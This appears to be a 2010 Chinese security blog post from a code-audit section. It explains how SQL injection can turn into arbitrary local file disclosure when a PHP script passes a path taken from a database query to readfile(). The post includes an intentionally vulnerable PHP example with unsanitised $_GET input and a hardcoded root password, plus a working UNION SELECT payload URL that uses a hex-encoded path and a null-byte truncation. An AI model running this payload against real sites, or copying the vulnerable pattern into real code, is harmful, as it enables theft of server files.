首页 > 代码审计 > 与数据库相关的Local File Disclosure的利用补充

与数据库相关的Local File Disclosure的利用补充

2010年3月3日 admin  1,321 views 发表评论 阅读评论

与数据库相关的Local File Disclosure的利用

这里不是说load_file()函数,load_file()函数需要file_priv才能够读文件。

这里是说如果readfile等函数的参数是通过数据库查询得来的结果。

这种情况下如果我们能够控制那个结果,不需要file_priv权限我们就可以读文件。如果有后缀形式的限制,也可以通过0×00来截断,因为是在Mysql的查询过程转化的NULL字符所以也无视magic_quotes_gpc=on的影响。

看下面的例子。
———————————-
<?php
$mysql_server_name=”localhost”; //数据库服务器名称
$mysql_username=”root”; // 连接数据库用户名
$mysql_password=”0x50sec”; // 连接数据库密码
$mysql_database=”lfd”; // 数据库的名字
$conn=mysql_connect($mysql_server_name, $mysql_username,
$mysql_password);
$sql=’select filepath from lfd where id=’.$_GET['id'];
//echo $sql.”<br>”;
$result=mysql_db_query($mysql_database, $sql, $conn);
$row=mysql_fetch_row($result);
$filepath=$row[0];
//readfile($filepath);
mysql_free_result($result);
mysql_close();
$fileinfo = pathinfo($filepath);
header(‘Content-type: application/x-’.$fileinfo['extension']);
header(‘Content-Disposition: attachment; filename=’.$fileinfo['basename']);
header(‘Content-Length: ‘.filesize($filepath));
readfile($filepath.”.txt”);
exit;
?>
———————————-
数据库中的内容如下:
———————————-
mysql> select * from lfd;
+——+——————–+
| id   | filepath           |
+——+——————–+
|    1 | /var/www/afile.php |
|    2 | /var/www/bfile.php |
+——+——————–+
2 rows in set (0.00 sec)
———————————-
正常情况下我们请求’http://127.0.0.1/lfd.php?id=1′会下载到’/var/www/afile.php’文件的内容。
如果我们通过union select控制sql查询的的结果呢?比如提交
http://127.1/lfd.php?id=-1 union select 0x2f7661722f7777772f6c666473716c2e70687000
就会下载到’/var/www/lfdsql.php’文件的内容,而且不用管什么file_priv权限和magic_quotes_gpc=on的影响,就可以以httpd进程的权限下载任意文件。

  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.